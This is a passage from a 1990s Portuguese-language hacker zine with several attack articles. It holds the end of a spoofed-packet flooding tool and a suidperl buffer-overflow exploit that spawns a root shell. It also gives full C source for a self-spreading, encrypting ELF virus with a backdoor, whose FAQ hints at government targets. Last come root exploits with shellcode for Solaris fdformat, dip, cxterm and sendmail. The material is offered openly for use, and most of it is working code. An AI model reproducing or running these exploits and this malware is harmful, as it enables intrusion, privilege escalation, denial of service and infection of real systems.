 0x45, 0x00, 0x00, 0x26,
 0x12, 0x34, 0x00, 0x00,
 0xFF, 0x11, 0, 0,
 0, 0, 0, 0,
 0, 0, 0, 0,

 0, 0, 0, 0,
 0x00, 0x12, 0x00, 0x00,

 '3','1','3','3','7','8','9','0'
 };

if(argc!=3)
 {
 fprintf(stderr,"Saihyousen, by Noc-Wage\n");
 fprintf(stderr,"The faster your connection to the internet is (latency
wise, not bandwidth)\n");
 fprintf(stderr,"and the lower the CPU speed of the victim
will\nincrease probability of success\n");
 fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen
127.0.0.1 40000\n",*argv);
 exit(1);
 };
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
 {
 perror("requires RAW SOCKETS");
 exit(1);
 };

#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
 {
 perror("setsockopt IP_HDRINCL");
 exit(1);
        };
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif

for (numpack=0;numpack<=atoi(argv[2]);numpack++) {
 if (meep==0) { ++hosti; meep++; }
 if (hosti>254) hosti=1;
 if (meep==1) { ++hostii; meep++;}
 if (hostii>254) hostii=1;
 if (meep==2) { ++hostiii; meep=0;}
 if (hostiii>254) hostiii=1;

sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti);
(he=gethostbyname(funhost));
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[1]))==NULL)
 {
 fprintf(stderr,"can't resolve destination hostname\n");
 exit(1);
 };
bcopy(*(he->h_addr_list),(gram+16),4);
fooport++;
/* resets the port to 1 if it's nearing the end of possible values */
if (fooport>65530) {fooport=1;};
*(u_short*)(gram+20)=htons((u_short)fooport);
*(u_short*)(gram+22)=htons((u_short)fooport);

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct
sockaddr)))== -1)
 {
 perror("sendto");
 exit(1);
 };
};
printf("Attack against %s finished", argv[1]);
putchar('\n');
return 1;
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Se divirtam travando por ae :P

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  9  ]=-
.-------------------.
| Perl 5.004 exploit \_______________________________________________________
`----------------------------------------------------------------------------'
                               by Cacaio

Auqlauqer usuario pode ter privilegios de root em um sistema linux que tenha
suidperl 5.003 (tendo o suid bit, duh!) mesmo se tiver sido patcheado.

      .----------------------.  
      |  Como arrumar isto?   `----------------------------------------.
      `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -


chmod u-s /usr/bin/sperl5.003  (o que mais fazer? atualizar)


      .---------------.  
      |  Detalhes...   `-----------------------------------------------.
      `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

Tem um bugzinho em mess() [util.c]: e' possivel fazer um overflow no buffer
(por sprintf()); mess() tenta detectar a situacao mas nao consegue aguentar
o problema da forma correta.

[extraido do util.c]

    if (s - s_start >= sizeof(buf)) {   /* Ooops! */
        if (usermess)
            fputs(SvPVX(tmpstr), stderr);
        else
            fputs(buf, stderr);
        fputs("panic: message overflow - memory corrupted!\n",stderr);
        my_exit(1);
    }

Logo depois disso, ele nao termina imediatamente. Ele imprime uma mensagem
de erro e chama my_exit(1), o que nao e' nada bom.



Observe o seguinte:

$ perl -v
This is perl, version 5.003 with EMBED
        Locally applied patches:
          SUIDBUF - Buffer overflow fixes for suidperl security

        built under linux at Apr 22 1997 10:04:46
        + two suidperl security patches

$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!

$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)

$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0  0x41414141 in ?? ()
(gdb)

Ai esta! 0x41414141 == "AAAA"

A variavel chamada top_env foi sobreescrita. De fato, e' a jmp_buf e o
Perl chama longjpm() com ele em algum lugar no my_exit().


Ta ai' um codigo pra exploitar isto:
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
#!/usr/bin/perl

$| = 1;

$shellcode =
  "\x90" x 512 .            # nops
  "\xbc\xf0\xff\xff\xbf" .  # movl $0xbffffff0,%esp
  # "standard shellcode" by Aleph One
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

# start and end of .data
# adjust this using /proc/*/maps

$databot = 0x080a2000;
$datatop = 0x080ab000;

# trial and error loop

$address = $databot + 4;

while ($address < $datatop) {
  $smash_me =
    $shellcode . ('A' x (2052 - length($shellcode))) .
    (pack("l", $address) x 1000) . ('B' x 1000);
  $pid = fork();
  if (!$pid) {
    exec('/usr/bin/sperl5.003', $smash_me);
  }
  else {
    wait;
    if ($? == 0) {
      printf("THE MAGIC ADDRESS WAS %08x\n", $address);
      exit;
    }
  }
  $address += 128;
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

Usem como quiserem... e esperem pelo root! :)

O perl 5.004 nao e' vulneravel.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  10  ]=-
.--------------.
| EWorm Project \____________________________________________________________
`----------------------------------------------------------------------------'
                               by sm0g

 .iNTRODUCAO.

      O EWorm eh um simples "virus" originalmente destinado - mas nao limita- 
 do - a infectar arquivos ELF. John V. (Antionline asshole) costuma dizer que
 atualmente, primeiro os duhdinhas invadem um  sistema e alteram o site, para
 soh entao, pensar numa justificativa socio-politica para tal irresponsabili-
 dade. Assim, digamos que o objetivo do EWorm seja o de realcar as necessida-
 des de uma  monitoracao constante do sistema, bem como o de suas respectivas
 permissoes :)  Alem de apresentar ao leior o funcionamento basico desse tipo
 de virus, iremos brevemente discutir os possiveis  efeitos que um codigo bem
 escrito e disseminado poderia causar.   
      Me esforcei ao maximo para evitar erros e equivocacoes (e tornar o tex-
 to o mais digestivel possivel), mas ainda considero  isso longe do sufiente.
 Caso voce tenha algo a acrescentar, discutir, e principalmente corrigir, nao
 hesite em me contactar. Futuras atualizacoes desse projeto podem ser vistas
 no site da TAff, www.psynet.net/taff .


 .Elf Worm.

      O EWorm usa como tecnica de infeccao um mecanismo que ja mostrou eficaz
 em diversos codigos, como  por exemplo o virus VLPI da SVTA (que conseguiram 
 complicar algo  bem simples): o redirecionamento binario. Facil de implemen-
 tar, o redbin pode ser considerado  quase que multi-operacional, podendo ser
 utilizado em *qualquer* OS que  suporte tal redirecionamento. Como essa tec-
 nica foge do objetivo desse texto, recomendo - sem querer "puxar a linguica"
 pro meu lado, mas o txt ajuda bastante - que os interessados deem uma rapida
 olhada em:  www.psynet.net/taff/files/b2.prj
 Como nem tudo eh perfeito, o redbin nao pode ser considerado 100% confiavel.
 Um dos poucos "probleminhas significativos" que merecem ser levantados, eh o
 fato de que *sob certas condicoes* o metodo pode ser notado em programas que
 utilizam o path para retornar algum erro em stdout, como por exemplo no caso
 de /bin/ls. Ilustrando essa situacao, teriamos algo assim:
      - O virus redireciona seus binarios limpos para /tmp, e roda-os lah; No
 caso de um "ls" mal-sucedido, seria retornado o seguinte:

 #ls d*
 /tmp/ls: d* not found

 Dos varios metodos testados para corrigir isso, um dos poucos que apresenta-
 ram resultados significantes, usava certos acessos a memoria, que um usuario
 comum nao seria habilitado a fazer, ainda mais no caso do programa ser remo- 
 tamente acessado (exemplo: /bin/login). Testei outros mecanismos de infeccao
 como por exemplo a de processos (feito tambem pela SVAT), mas alem de imenso
 o codigo nao eh nenhum pouco multi-OS. Por hora, eu ainda considero o redbin
 algo bastante eficiente (..)
      Tendo em mente que antes de mais nada um virus deve ser pequeno, ao in-
 ves de elaborar todas as rotinas em C, e reinventar a roda (aumentando muito
 o tamanho do codigo), optei por "sujar" o virus  com alguns system(), que me
 salvaram preciosos bytes. O virus tem um tamanho relativamente  pequeno (que
 pode ser ainda menor, mas isso eh por conta do leitor), se visto os recursos
 utilizados. Nessa versao (publica), ocorre verificacao de arquivos (certifi-
 ca-se que eh um ELF autentico, e ainda nao foi infectado); nao altera atime/
 mtime, e nem as permissoes do arquivo; encripta as vitimas; "escaneia" dire-
 torios (pre-definidos), e usa uma backdoor rudimentar, que ajuda no processo
 de infeccao. Para ocupar ainda menos espaco, muitos tratamentos a erro foram
 suprimidos, mas tenho certeza que nao teremos maiores problemas :P
 Um virus simples poderia facilmente ter menos da metade do tamanho do EWorm,
 mas dificilmente se propagaria de forma eficiente, ainda mais no caso de am-
 biente Unix.

      A backdoor eh bem simples: a ideia inicial era  de simplemente instalar
 uma SUID shell, mas ela nao transfere a UID 0 ao virus (pid) em  execucao. A
 saida foi instalar o codigo bruto  num arquivo (ja definido), e roda-lo nor-
 malmente. O interessante em se fazer isso - existem tecnicas muito melhores,
 mas como criador, eu  nao posso dar o braco a torcer he he he - esta na eco-
 nomia de espaco, e no fato do admin nao  cair num prompt quando estiver che-
 cando aquele estranho arquivo SUID 0.
      Cript() eh igualmente  simples. Nosso algoritmo, acronicamente chamado
 de 3Kfe (3 Key File Encription), usa 3 chaves  distintas: a primeira informa
 o numero de bytes a encriptar, a outra diz quantas vezes serao rotacionados,
 e a ultima diz em que posicao o pointer vai iniciar a leitura dos dados man-
 dados a primeira variavel.
 Problemas para os AV's, pois para desinfectar um arquivo, eles terao de des-
 cobrir onde  comeca e onde termina o "corrompimento do arquivo", ou entao se
 dedicar a maravilhosas horas  de brute-force, que num arquivo grande vao dar
 um trabalho  e tanto (eu sei que eles podem seguir o virus, mas deixe eu me
 iludir um pouquinho..).


 .Riscos, blah blah.. e outras coisas mais..

      A Internet Worm de R. Morris, era um complexo conjunto de arquivos cujo
 unico objetivo era o de se copiar para o maior  numero possivel de sistemas.
 Apesar  de nao ser multi-OS (rodava em Sun Microsystems Sun-3 workstations e
 VAX computers com uma  variante da versao 4 do Berkeley Unix), a worm se ex-
 pandiu de forma chocante.
      Me parece que o numero de exploits existentes e disponiveis em 1988 era
 ligeiramente menor que os de hoje... Os sistemas abertos e administrados por
 pessoas incompetentes, hoje sao maiores, e a grande Rede cresce a cada dia,
 aumentando ainda mais o numero de vitimas potencias.
 Eu fiz aqui uma  variante do Eworm chamada de Brasilix, que alem de um nasty
 code, tem algumas rotinas e modificacoes a mais, como  por exemplo sniffing.
 O Brasilix se mostrou *muito* infeccioso, e seu tamanho nao excedeu muito as
 espectativas. Eh recomendavel o uso de shells mais seguras (ex. SSH), ou num
 futuro proximo, a tendencia eh que os desastres aumentem.


 .Install - caso alguem queira testar Eworm, para propostitos educacionais =)

 	Recomendo executar esse procedimentos via UID!=0, pois  nao acho sau-
 davel rodar isso como root. Inicialmente, crie um diretorio e copie para ele
 o eworm.c, e algum arquivo binario que voce deseje infectar. Compile e rode
 o eworm normalmente.  
        O codigo encontra-se ao final da materia.


 .FAQ

 Abaixo vao respostas para  alguns mails que recebemos de beta-testers, viti-
 mas e outras pessoas que tiveram acesso ao programa.

 1) Eu compilei o eworm (gcc -o eworm eworm.c) e infectei um arquivo binario,
 mas roda-lo, o proprio eworm foi infectado! O mais estranho eh que ao tentar
 rodar o virus novamente (apos ser infectado) ele travou. Porque?
   R: Entenda que o virus eh  um arquivo normal, e apesar de conter o codigo
 bruto em si, ele ainda nao possui a  marcacao de infectado ('EW'), e por is-
 so eh normalmente  contaminado. O fato dele travar, eh porque por operar por
 loop's (while's, etc), quando voce  roda um virus dentro  de outro, ele meio
 que se perde, e "trava" (na realidade ele nao trava, apenas fica loopando)..

 2) O EWorm possui alguma fraqueza ou bug mais grave?
   R: Como todo programa que se preze, o EWorm tambem tem bugs! Alguns sao
 faceis de se corrigir, deixados no codigo publico  apenas para "facilitar" a
 vida dos duhdinhas que vao rodar o virus sem ao menos entender o que ocorre.
 Abaixo vai uma relacao do que (segundo  minha opiniao) deve ser corrigido, e
 como "fixar" o problema.. Note que nenhum desses probleminhas pode comprome-
 ter o funcionamento do virus! Ele apenas nao ira rodar tao bem..
 
 - Se o parent process durar mais do que o child, ele ainda estaram "lockado"
 quando o child executar  um remove! Isso eh muito importante de se corrigir,
 para evitar rastros. Eh uma simples questao de se redirecionar o signal para
 um remove() :P  

 3) Quando o Brasilix, ou uma versao plena do EWorm sera liberada?
   R: Nos nao temos planos de fazer isso. A nossa versao privada do EWorm jah
 foi suficientemente modificada para evitar av's que se baseiem no codigo pu-
 blico. Divulgar o nosso trabalho ira apenas prejudicar o bichano :)

 4) A tecnica de backdoor pode ser mudada?
   R: A grande vantagem do EWorm, eh que apesar de um codigo que a primeira
 vista parece "meio confuso", altera-lo eh algo muito simples. Qualquer roti-
 na pode ser alterada. Note porem, que estamos falando de  um virus, e nao eh
 bom abusar do tamanho.

 5) O EWorm roda em que sistemas operacionais?
   R: Aparentemente ele funciona bem em sistemas Linux (objetivo primario), e
 compativeis. Ouvi dizer que ele tambem eh bastante estavel em SunOS, Digital
 e System V. Caso alguem tenha algo a acrescentar ou retirar, reply..

 7) O virus foi disseminado?
   R: Sim e nao. O codigo pode ser facilmente alterado, podendo estar sendo
 distribuido por alguem, nesse exato momento. Alem disso, estou com um estra-
 nho pressentimento a respeito dos hosts gov.br / mil.br. Melhor esse pessoal
 tomar cuidado.. talvez, muito cuidado sera o ideal.

 8) Porque voces divulgaram apenas o codigo publico (que esta bugado)? Vai
 ver voces nao conseguiram terminar o virus, e estao esperando que alguem fa-
 ca o trabalho sujo por voces..
   R: Essa perguntinha nos recemos de um certo administrador.. A razao eh bem
 simples: nos somos egoistas e nao queremos perder horas de trabalho, desper-
 dicada na mao de lamers irresponsaveis, ou de AV's. Se voce  duvida da nossa
 capacidade, foda-se. Nos nao temos que lhe provar nada, o codigo fala por si
 proprio.

 9) Porque usar "#define vTAM", se o tamanho do virus pode mudar dependendo
 do compilador utilizado na compilacao de eworm.c? O codigo nao fica tao por-
 tavel, fica?
   R: dumped da Uground disse que o ideal seria utilizar um fseek  e ftell ao
 inves de apelar para um define, tornado assim o codigo  mais profissional e
 portavel. Acontece, que uma rotina dessa, alem de aumentar o numero de aces-
 so ao  disco (sim, o acesso eh insignificante, mas ainda existe), aumentaria
 o codigo em alguns bons bytes. Eu ainda  prefiro compilar, ver o size, mudar
 no #define e recompilar, do que apelar pra isso... estamos fazendo um virus,
 ele nao precisa ser portavel. O codigo teria de ser +- assim (fiz de cabeca,
 isso eh apenas pra voce ter uma ideia):

 FILE *fp;
 int vTAM;
 fp=fopen(argv[0],"r");
 fseek(fp,0,SEEK_END);
 vTAM=ftell(fp);
 
 Acho que isso deve resolver para os mais "profissionais"  =)

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/*
   Elf Worm Project
   Copyright (c) 1998, Dr.sm0g [TAff]
   Techno Affliction iNC. Made in Brasil.
   sm0g@psynet.net / taff@psynet.net

  "Aos que sabem, nada precisa ser dito.
   Aos que nao sabem, menos ainda, pois nunca
   estao disposto a escutar."

   TAff Labs: Internet Terrorism trought source code >:]


   eworm.c
*/

#include <fcntl.h>
#include <utime.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>

#define vTAM 28525           /* gcc -O -o eworm eworm.c size.. */

FILE *fp;
DIR *dirp;
long int icnt,bd,i;
char Elf[5]={0x7f,0x45,0x4c,0x46,'\0'},
     Ebuf[5]={'\0'},ID[3]={0x45,0x57,'\0'},
     Path[50],Buff[100],Ntm[30],Nom[30]="/tmp/";

struct dirent *dirf;
struct stat info,*ip;
struct utimbuf dtime;


main(int argc,char *argv[],char *envp[])
{
  getcwd(Path,30);
  strcat(Nom,argv[0]);
  strcat(strcat(Path,"/"),argv[0]);
  stat(argv[0],ip=&info);

  if((getuid()==0)&&(ip->st_size==vTAM)) bd=1;

  if((bd==0)&&(ip->st_size!=vTAM)&&(fork())) {
    sprintf(Buff,"tail -c%ld %s>%s",(ip->st_size)-vTAM,argv[0],Nom);
    Cript(argv[0],2); PrnMod(Nom);
    execve(Nom,argv,envp); }

  else {
    if((getuid()==0)&&(ip->st_size!=vTAM)) {
      sprintf(Buff,"head -c%ld %s>/tmp/backd",(ip->st_size)-vTAM,argv[0]);
      system(Buff); }

    if((getuid()!=0)&&(access("/bin/backd",F_OK))==0) {
      system("/bin/backd"); exit(0); }

    dirp=opendir(".");
    do
    {
      if(((dirf=readdir(dirp))==NULL)&&(icnt!=2)) {
        if(chdir(bd==1?"/bin":getenv("HOME"))==0) {
          icnt++; dirp=opendir(".");
          dirf=readdir(dirp); }
        else {
          break; }
      }

      if(access(dirf->d_name,R_OK|W_OK|X_OK)==0)
      {
        stat(dirf->d_name,&info);
        if(((info.st_mode&S_IFMT)==S_IFREG))
        {
          fp=fopen(dirf->d_name,"r+");
          fread(Ebuf,4,1,fp);
          if(strcmp(Ebuf,Elf)==0)
          {
            bzero(Ebuf,4);
            fseek(fp,-2,SEEK_END);
            fread(Ebuf,2,1,fp);
            if(strcmp(Ebuf,ID)!=0)
            {
              fseek(fp,0,SEEK_END);
              fwrite(ID,2,1,fp); fclose(fp); icnt++;
              strcat(strcat(Ntm,"/tmp/"),dirf->d_name);
              sprintf(Buff,"head -c%i %s>%s;cat %s>>%s",\
              vTAM,Path,Ntm,dirf->d_name,Ntm);
              Cript(dirf->d_name,1);
              sprintf(Buff,"cp %s .;rm %s",Ntm,Ntm); system(Buff);

              dtime.actime=info.st_atime;
              dtime.modtime=info.st_mtime;
              utime(dirf->d_name,&dtime);
              PrnMod(dirf->d_name);
              bzero(Ntm,30);
            }  /* if ID     */
          }  /* if ELF     */
        }  /* if(access.. */
      }  /* if(stat)     */
    } while((dirf!=NULL)&&(icnt<=2));
  }  /* fork()         */

  remove(Nom);
}  /* main()          */


/* --- funcoes adicionais --------------------------------------- */

PrnMod(char *arq)
{
  i=chmod(arq,info.st_mode);
  i=chown(arq,info.st_uid,info.st_gid);
}

Cript(char *arq,int opt)
{
  /* KEY=chave da encriptacao, NUM=# bytes a encriptar */
  long int len=strlen(arq),KEY=(len+2)*3,NUM=(len*7)-5,Ep[NUM];

  /* chave1: vTAM+strlen(arq)*8=# bytes a deslocar o ponteiro      */
  fp=fopen(arq,"r+");
  fseek(fp,vTAM+strlen(arq)*8,SEEK_SET);

  for(i=0;i<NUM;i++) {
    Ep[i]=fgetc(fp);
    fseek(fp,-1,SEEK_CUR);
    fprintf(fp,"%c",(opt==1?++Ep[i]*KEY:--Ep[i]*KEY));
   }
  fclose(fp);
  system(Buff);
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

     sm0g                  sm0g@psynet.net
     `'`'                  `'`'`'`'`'`'`'`


-=[  11  ]=-
.---------------------.
| Exploits to get root \________________________________________________________
`----------------------------------------------------------------------------'
                                by ReNeGaDe

       Hi all! Nessa materia pretendi falar e colocar exploits para conseguir
accesso de root. Mais para que voce possa usar os mesmo ter que ter uma conta
no alvo para que possa ser feito o ataque.

1) Dois exploits para Solaris..

1.1) Exploit para Solaris ver. 2.4

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

/*
 * The Death Knights www.deathknights.com  
 * by ReNeGaDe - ReNeGaDe@DeathKnights.com
Solaris 2.4
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 264
#define EXTRA 36
#define STACK_OFFSET -56
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =

  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" 
  "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" 
  "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" 
  "\x91\xd0\x20\x08";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *) buf ;
  targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
  *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); 
  execl("/bin/fdformat", "fdformat   ", &buf[0],(char *) 0);
  perror("execl failed");
}

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1.2) Exploit para Solaris ver. 2.5.1

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

/*
 * The Death Knights www.deathknights.com  
 * by ReNeGaDe - ReNeGaDe@DeathKnights.com
Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 704
#define SPARC_NOP 0xa61cc013

u_char sparc_shellcode[] =

  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" 
  "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" 
  "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" 
  "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" 
  "\x91\xd0\x20\x08";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *) buf ;
  targ_addr = get_sp() - STACK_OFFSET - dso;
  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
  *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); 
  execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);
  perror("execl failed");
}

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2) Exploit testado para conseguir accesso de root usando o dip.

Note: Nao esqueca de apagar o arquivo temp.dip quando rodar este exploit.

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/* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */
 * The Death Knights www.deathknights.com  
 * by ReNeGaDe - ReNeGaDe@DeathKnights.com
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_DIP "/usr/sbin/dip"

u_char shell[] = /* courtesy of avalon  ;) */
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

u_long esp() { __asm__("movl %esp, %eax"); }

main()
{
  u_char buf[1024];
  u_long addr;
  int i, f;

  strcpy(buf, "chatkey ");
  addr = esp() - 192;
  for (i=8; i<128+16; i+=4)
    *((u_long *) (buf+i)) = addr;
  for (i=128+16; i<512; i++)
    buf[i] = 0x90;
  for (i=0; i<strlen(shell); i++)
    buf[512+i] = shell[i];
  buf[512+i] = '\n';

  if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
    perror("temp.dip");
    exit(0);
  }
  write(f, buf, 512+i);
  close(f);

  execl(PATH_DIP, "dip", "temp.dip", (char *)0);

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3) Exploit testado para Slackware ver 3.1 e 3.2 usando buffer overflow
do cxterm.

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

/*
 * The Death Knights www.deathknights.com  
 * by ReNeGaDe - ReNeGaDe@DeathKnights.com
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

/* use a different offset if you find this program doesn't do the job */
   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("Buy more RAM!\n");
      exit(0);
   }
   ptr = buff;

   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE;
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,
         "This bug is discovered by Ming Zhang
(mzhang@softcom.net)\n");
    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
    execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}
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4) Exploit para p SendMail ver. 8.7-8.8.2

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#/bin/sh
#
#
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#
#
#
#               The Death Knights www.deathknights.com  
#               by ReNeGaDe - ReNeGaDe@DeathKnights.com
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh

-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------

      Eh isso ae pessoal aqui se encerra minha materia nessa DeathKnights!

      Se  tiverem interesse  em  tirar  duvidas ou  apresentar  novas
  ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos
  ter um bom senso pois nao sou desocupado.

         cya l8er!

     ReNeGaDe               ReNeGaDe@DeathKnights.com
     `'`'`'`'               `'`'`'`'`'`'`'`'`'`'`'`'`

-=[  12  ]=-
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| Leiam...  \________________________________________________________________
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                                 by Cacaio

Aqui o que tem nao e' nenhuma informacao referente a hacking nem nada, apenas
o nosso agradecimento a todos que nos apoiam, e aos e-mails que sao recebidos
diariamente. Quando a gente faz um zine, como este, e' esperando que os
leitores gostem, e isto que estamos percebendo pelas mensagens que recebemos,
e assim sempre faremos um zine cada vez melhor. Eu fiquei surpreso de algum
tempo pra ca, quando, alem das mensagens chegadas do Brasil, comecaram a
chegar mensagens de varios paises da America Latina, da Espana e de portugal.
